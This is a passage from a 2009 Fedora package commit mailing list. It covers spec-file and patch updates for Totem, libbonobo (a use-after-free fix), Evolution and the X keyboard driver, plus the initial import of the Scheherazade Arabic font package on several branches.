+++ totem-2.28.1/src/plugins/brasero-disc-recorder/totem-disc-recorder.c	2009-10-06 19:40:07.920865605 -0400
@@ -95,6 +95,8 @@ totem_disc_recorder_plugin_start_burning
 	char **args, *xid_str;
 	GError *error = NULL;
 	gboolean ret;
+	GFile *file;
+	gchar *uri;
 
 	array = g_ptr_array_new ();
 	g_ptr_array_add (array, (gpointer) "brasero");
@@ -102,7 +104,11 @@ totem_disc_recorder_plugin_start_burning
 		g_ptr_array_add (array, (gpointer) "-c");
 	else
 		g_ptr_array_add (array, (gpointer) "-r");
-	g_ptr_array_add (array, (gpointer) path);
+
+	file = g_file_new_for_path (path);
+	uri = g_file_get_uri (file);
+	g_ptr_array_add (array, (gpointer) uri);
+	g_object_unref (file);
 
 	main_window = totem_get_main_window (pi->totem);
 	if (main_window && GTK_WIDGET (main_window)->window) {
@@ -135,6 +141,7 @@ totem_disc_recorder_plugin_start_burning
 
 	g_free (xid_str);
 	g_free (args);
+	g_free (uri);
 
 	return ret;
 }


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-12/totem.spec,v
retrieving revision 1.262
retrieving revision 1.263
diff -u -p -r1.262 -r1.263
--- totem.spec	29 Sep 2009 15:12:29 -0000	1.262
+++ totem.spec	6 Oct 2009 23:56:56 -0000	1.263
@@ -6,7 +6,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -77,6 +77,9 @@ Obsoletes: totem-galago
 Obsoletes: totem-gstreamer < 2.27.1
 Obsoletes: totem-xine < 2.27.1
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597624
+Patch0: brasero-burn.patch
+
 %description
 Totem is simple movie player for the GNOME desktop. It features a
 simple playlist, a full-screen mode, seek and volume controls, as well as
@@ -184,6 +187,7 @@ audio and video files in the properties 
 
 %prep
 %setup -q
+%patch0 -p1 -b .brasero-burn
 
 %build
 
@@ -380,6 +384,9 @@ fi
 %{_libdir}/totem/plugins/publish
 
 %changelog
+* Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
+- Make video burning work again
+
 * Tue Sep 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From pkgdb at fedoraproject.org  Tue Oct  6 23:57:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:57:06 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has given up watchbugzilla
Message-ID: <20091006235706.A7E8510F892@bastion2.fedora.phx.redhat.com>

linuxdonald has given up the watchbugzilla acl on 8Kingdoms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:57:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:57:09 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested watchbugzilla
Message-ID: <20091006235709.1166D10F8A1@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on 8Kingdoms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From hedayat at fedoraproject.org  Tue Oct  6 23:58:16 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Tue,  6 Oct 2009 23:58:16 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts/devel import.log, NONE,
	1.1 sil-scheherazade-fonts-fontconfig.conf, NONE,
	1.1 sil-scheherazade-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006235816.B859411C00C1@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9555/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-scheherazade-fonts-fontconfig.conf 
	sil-scheherazade-fonts.spec 
Log Message:
Initial commit



--- NEW FILE import.log ---
sil-scheherazade-fonts-1_001-2_fc11:HEAD:sil-scheherazade-fonts-1.001-2.fc11.src.rpm:1254873370


--- NEW FILE sil-scheherazade-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Scheherazade</family>
    </prefer>
  </alias>
  <alias>
    <family>Scheherazade</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
  <alias binding="same">
    <family>Monotype Naskh</family>
    <accept>
      <family>Scheherazade</family>
    </accept>
  </alias>
</fontconfig>


--- NEW FILE sil-scheherazade-fonts.spec ---
%global fontname sil-scheherazade
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        2%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=scheherazade_OT_1_001&filename=ScheherazadeRegOT_1.001.zip
Source0:        ScheherazadeRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Scheherazade, named after the heroine of the classic Arabian Nights tale, is
designed in a similar style to traditional typefaces such as Monotype Naskh,
extended to cover the full Unicode Arabic repertoire.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Sat Oct 03 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-2
- Fixed summary to not include font name
- Removed some parts of the description
- Added fontconfig rules

* Mon Sep 28 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:28:23 -0000	1.1
+++ .cvsignore	6 Oct 2009 23:58:16 -0000	1.2
@@ -0,0 +1 @@
+ScheherazadeRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:28:23 -0000	1.1
+++ sources	6 Oct 2009 23:58:16 -0000	1.2
@@ -0,0 +1 @@
+c09ced85441dac34930ae661a2e0a6ca  ScheherazadeRegOT_1.001.zip



From hedayat at fedoraproject.org  Wed Oct  7 00:29:58 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Wed,  7 Oct 2009 00:29:58 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts/F-10 import.log, NONE,
	1.1 sil-scheherazade-fonts-fontconfig.conf, NONE,
	1.1 sil-scheherazade-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091007002958.CCB7C11C00C1@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24044/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-scheherazade-fonts-fontconfig.conf 
	sil-scheherazade-fonts.spec 
Log Message:
Initial commit



--- NEW FILE import.log ---
sil-scheherazade-fonts-1_001-2_fc11:F-10:sil-scheherazade-fonts-1.001-2.fc11.src.rpm:1254874978


--- NEW FILE sil-scheherazade-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Scheherazade</family>
    </prefer>
  </alias>
  <alias>
    <family>Scheherazade</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
  <alias binding="same">
    <family>Monotype Naskh</family>
    <accept>
      <family>Scheherazade</family>
    </accept>
  </alias>
</fontconfig>


--- NEW FILE sil-scheherazade-fonts.spec ---
%global fontname sil-scheherazade
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        2%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=scheherazade_OT_1_001&filename=ScheherazadeRegOT_1.001.zip
Source0:        ScheherazadeRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Scheherazade, named after the heroine of the classic Arabian Nights tale, is
designed in a similar style to traditional typefaces such as Monotype Naskh,
extended to cover the full Unicode Arabic repertoire.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Sat Oct 03 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-2
- Fixed summary to not include font name
- Removed some parts of the description
- Added fontconfig rules

* Mon Sep 28 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:28:23 -0000	1.1
+++ .cvsignore	7 Oct 2009 00:29:54 -0000	1.2
@@ -0,0 +1 @@
+ScheherazadeRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:28:23 -0000	1.1
+++ sources	7 Oct 2009 00:29:55 -0000	1.2
@@ -0,0 +1 @@
+c09ced85441dac34930ae661a2e0a6ca  ScheherazadeRegOT_1.001.zip



From hedayat at fedoraproject.org  Wed Oct  7 00:35:51 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Wed,  7 Oct 2009 00:35:51 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts/F-11 import.log, NONE,
	1.1 sil-scheherazade-fonts-fontconfig.conf, NONE,
	1.1 sil-scheherazade-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091007003551.177AD11C00C1@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26314/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-scheherazade-fonts-fontconfig.conf 
	sil-scheherazade-fonts.spec 
Log Message:
Initial Import



--- NEW FILE import.log ---
sil-scheherazade-fonts-1_001-2_fc11:F-11:sil-scheherazade-fonts-1.001-2.fc11.src.rpm:1254875582


--- NEW FILE sil-scheherazade-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Scheherazade</family>
    </prefer>
  </alias>
  <alias>
    <family>Scheherazade</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
  <alias binding="same">
    <family>Monotype Naskh</family>
    <accept>
      <family>Scheherazade</family>
    </accept>
  </alias>
</fontconfig>


--- NEW FILE sil-scheherazade-fonts.spec ---
%global fontname sil-scheherazade
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        2%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=scheherazade_OT_1_001&filename=ScheherazadeRegOT_1.001.zip
Source0:        ScheherazadeRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Scheherazade, named after the heroine of the classic Arabian Nights tale, is
designed in a similar style to traditional typefaces such as Monotype Naskh,
extended to cover the full Unicode Arabic repertoire.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Sat Oct 03 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-2
- Fixed summary to not include font name
- Removed some parts of the description
- Added fontconfig rules

* Mon Sep 28 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:28:23 -0000	1.1
+++ .cvsignore	7 Oct 2009 00:35:50 -0000	1.2
@@ -0,0 +1 @@
+ScheherazadeRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:28:23 -0000	1.1
+++ sources	7 Oct 2009 00:35:50 -0000	1.2
@@ -0,0 +1 @@
+c09ced85441dac34930ae661a2e0a6ca  ScheherazadeRegOT_1.001.zip



From hedayat at fedoraproject.org  Wed Oct  7 00:44:27 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Wed,  7 Oct 2009 00:44:27 +0000 (UTC)
Subject: rpms/sil-scheherazade-fonts/F-12 import.log, NONE,
	1.1 sil-scheherazade-fonts-fontconfig.conf, NONE,
	1.1 sil-scheherazade-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091007004427.723DE11C00C1@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-scheherazade-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27733/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-scheherazade-fonts-fontconfig.conf 
	sil-scheherazade-fonts.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
sil-scheherazade-fonts-1_001-2_fc11:F-12:sil-scheherazade-fonts-1.001-2.fc11.src.rpm:1254875963


--- NEW FILE sil-scheherazade-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Scheherazade</family>
    </prefer>
  </alias>
  <alias>
    <family>Scheherazade</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
  <alias binding="same">
    <family>Monotype Naskh</family>
    <accept>
      <family>Scheherazade</family>
    </accept>
  </alias>
</fontconfig>


--- NEW FILE sil-scheherazade-fonts.spec ---
%global fontname sil-scheherazade
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        2%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=scheherazade_OT_1_001&filename=ScheherazadeRegOT_1.001.zip
Source0:        ScheherazadeRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Scheherazade, named after the heroine of the classic Arabian Nights tale, is
designed in a similar style to traditional typefaces such as Monotype Naskh,
extended to cover the full Unicode Arabic repertoire.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Sat Oct 03 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-2
- Fixed summary to not include font name
- Removed some parts of the description
- Added fontconfig rules

* Mon Sep 28 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:28:23 -0000	1.1
+++ .cvsignore	7 Oct 2009 00:44:22 -0000	1.2
@@ -0,0 +1 @@
+ScheherazadeRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-scheherazade-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:28:23 -0000	1.1
+++ sources	7 Oct 2009 00:44:23 -0000	1.2
@@ -0,0 +1 @@
+c09ced85441dac34930ae661a2e0a6ca  ScheherazadeRegOT_1.001.zip



From mclasen at fedoraproject.org  Wed Oct  7 01:29:52 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 01:29:52 +0000 (UTC)
Subject: rpms/libbonobo/F-12 memory-corruption.patch, NONE,
	1.1 libbonobo.spec, 1.92, 1.93
Message-ID: <20091007012952.B184F11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libbonobo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17389

Modified Files:
	libbonobo.spec 
Added Files:
	memory-corruption.patch 
Log Message:
fix a use-after-free


memory-corruption.patch:
 bonobo-activation-mime.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE memory-corruption.patch ---
diff -up libbonobo-2.24.2/bonobo-activation/bonobo-activation-mime.c.memory-corruption libbonobo-2.24.2/bonobo-activation/bonobo-activation-mime.c
--- libbonobo-2.24.2/bonobo-activation/bonobo-activation-mime.c.memory-corruption	2009-10-06 21:24:22.763859762 -0400
+++ libbonobo-2.24.2/bonobo-activation/bonobo-activation-mime.c	2009-10-06 21:24:52.480866308 -0400
@@ -292,7 +292,6 @@ gnome_vfs_mime_get_short_list_components
 	query = g_strconcat ("bonobo:supported_mime_types.has_one (['", mime_type, 
 			     "', '", supertype,
 			     "', '*'])", NULL);
-	g_free (supertype);
 	
         /* Prefer something that matches the exact type to something
            that matches the supertype */
@@ -313,6 +312,7 @@ gnome_vfs_mime_get_short_list_components
 		components_list = NULL;
 	}
 
+	g_free (supertype);
 	g_free (query);
 	g_free (sort[0]);
 	g_free (sort[1]);


Index: libbonobo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libbonobo/F-12/libbonobo.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- libbonobo.spec	24 Sep 2009 01:43:29 -0000	1.92
+++ libbonobo.spec	7 Oct 2009 01:29:50 -0000	1.93
@@ -6,7 +6,7 @@
 Summary: Bonobo component system
 Name: libbonobo
 Version: 2.24.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://ftp.gnome.org
 Source0: http://download.gnome.org/sources/libbonobo/2.24/%{name}-%{version}.tar.bz2
 License: GPLv2+ and LGPLv2+
@@ -27,6 +27,8 @@ Obsoletes: bonobo-activation
 Provides: bonobo-activation = %{version}-%{release}
 
 Patch0: libbonobo-multishlib.patch
+# from upstream
+Patch1: memory-corruption.patch
 
 %description
 Bonobo is a component system based on CORBA, used by the GNOME desktop.
@@ -58,6 +60,7 @@ use Bonobo.
 %ifarch ppc64 s390x x86_64
 %patch0 -p1 -b .multishlib
 %endif
+%patch1 -p1 -b .memory-corruption
 
 automake
 
@@ -126,6 +129,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/bonobo-activation
 
 %changelog
+* Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> - 2.24.2-2
+- Fix a use-after-free in the mime code
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.24.2-1
 - Update to 2.24.2
 



From whot at fedoraproject.org  Wed Oct  7 01:40:46 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Wed,  7 Oct 2009 01:40:46 +0000 (UTC)
Subject: rpms/xorg-x11-drv-keyboard/devel .cvsignore, 1.14, 1.15 sources,
	1.14, 1.15 xorg-x11-drv-keyboard.spec, 1.34, 1.35
Message-ID: <20091007014046.17C2111C02A2@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-keyboard/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21596

Modified Files:
	.cvsignore sources xorg-x11-drv-keyboard.spec 
Log Message:
* Wed Oct 07 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.4.0-1
- keyboard 1.4.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-keyboard/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	9 Sep 2009 02:17:50 -0000	1.14
+++ .cvsignore	7 Oct 2009 01:40:45 -0000	1.15
@@ -1 +1 @@
-xf86-input-keyboard-1.3.99.1.tar.bz2
+xf86-input-keyboard-1.4.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-keyboard/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	9 Sep 2009 02:17:50 -0000	1.14
+++ sources	7 Oct 2009 01:40:45 -0000	1.15
@@ -1 +1 @@
-94a849a5eb041124b993e3fe4eaaa7f1  xf86-input-keyboard-1.3.99.1.tar.bz2
+fd17158ffeacecc8cc670604460cb98b  xf86-input-keyboard-1.4.0.tar.bz2


Index: xorg-x11-drv-keyboard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-keyboard/devel/xorg-x11-drv-keyboard.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- xorg-x11-drv-keyboard.spec	9 Sep 2009 02:17:50 -0000	1.34
+++ xorg-x11-drv-keyboard.spec	7 Oct 2009 01:40:45 -0000	1.35
@@ -6,7 +6,7 @@
 
 Summary:    Xorg X11 keyboard input driver
 Name:	    xorg-x11-drv-keyboard
-Version:    1.3.99.1
+Version:    1.4.0
 Release:    1%{?dist}
 URL:	    http://www.x.org
 License:    MIT
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 #{_mandir}/man4/keyboard.4*
 
 %changelog
+* Wed Oct 07 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.4.0-1
+- keyboard 1.4.0
+
 * Wed Sep 09 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3.99.1-1
 - keyboard 1.3.99.1
 



From mbarnes at fedoraproject.org  Wed Oct  7 01:46:56 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Wed,  7 Oct 2009 01:46:56 +0000 (UTC)
Subject: rpms/evolution/F-12 evolution-2.28.0-tweak-desktop-file.patch, NONE,
	1.1 evolution.spec, 1.416, 1.417
Message-ID: <20091007014656.53A7A11C00C1@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22861

Modified Files:
	evolution.spec 
Added Files:
	evolution-2.28.0-tweak-desktop-file.patch 
Log Message:

* Tue Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.0-2.fc12
- Tweak desktop file for GNOME Shell.


evolution-2.28.0-tweak-desktop-file.patch:
 evolution.desktop.in.in |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE evolution-2.28.0-tweak-desktop-file.patch ---
diff -up evolution-2.28.0/data/evolution.desktop.in.in.tweak-desktop-file evolution-2.28.0/data/evolution.desktop.in.in
--- evolution-2.28.0/data/evolution.desktop.in.in.tweak-desktop-file	2009-08-28 02:48:33.000000000 -0500
+++ evolution-2.28.0/data/evolution.desktop.in.in	2009-10-06 20:44:30.809703987 -0500
@@ -1,6 +1,7 @@
 [Desktop Entry]
-_Name=Evolution Mail and Calendar
+_Name=Evolution
 _GenericName=Groupware Suite
+_X-GNOME-FullName=Evolution Mail and Calendar
 _Comment=Manage your email, contacts and schedule
 Exec=evolution
 Icon=evolution


Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.416
retrieving revision 1.417
diff -u -p -r1.416 -r1.417
--- evolution.spec	21 Sep 2009 12:33:51 -0000	1.416
+++ evolution.spec	7 Oct 2009 01:46:56 -0000	1.417
@@ -66,6 +66,9 @@ Patch11: evolution-2.5.4-fix-conduit-dir
 # RH bug #176400
 Patch12: evolution-2.9.1-im-context-reset.patch
 
+# Tweak the desktop file for GNOME Shell.
+Patch13: evolution-2.28.0-tweak-desktop-file.patch
+
 ## Dependencies ###
 
 Requires(post): GConf2
@@ -240,6 +243,7 @@ This package contains the plugin to impo
 %patch10 -p1 -b .ldaphack
 %patch11 -p1 -b .fix-conduit-dir
 %patch12 -p1 -b .im-context-reset
+%patch13 -p1 -b .tweak-desktop-file
 
 mkdir -p krb5-fakeprefix/include
 mkdir -p krb5-fakeprefix/lib
@@ -696,6 +700,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Tue Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.0-2.fc12
+- Tweak desktop file for GNOME Shell.
+
 * Mon Sep 21 2009 Milan Crha <mcrha at redhat.com> - 2.28.0-1.fc12
 - Update to 2.28.0
 



From renep at fedoraproject.org  Wed Oct  7 01:48:09 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Wed,  7 Oct 2009 01:48:09 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, 1.1, 1.2 tcl-mysqltcl.spec, 1.1,
	1.2
Message-ID: <20091007014809.3466B11C00C1@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23307/devel

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
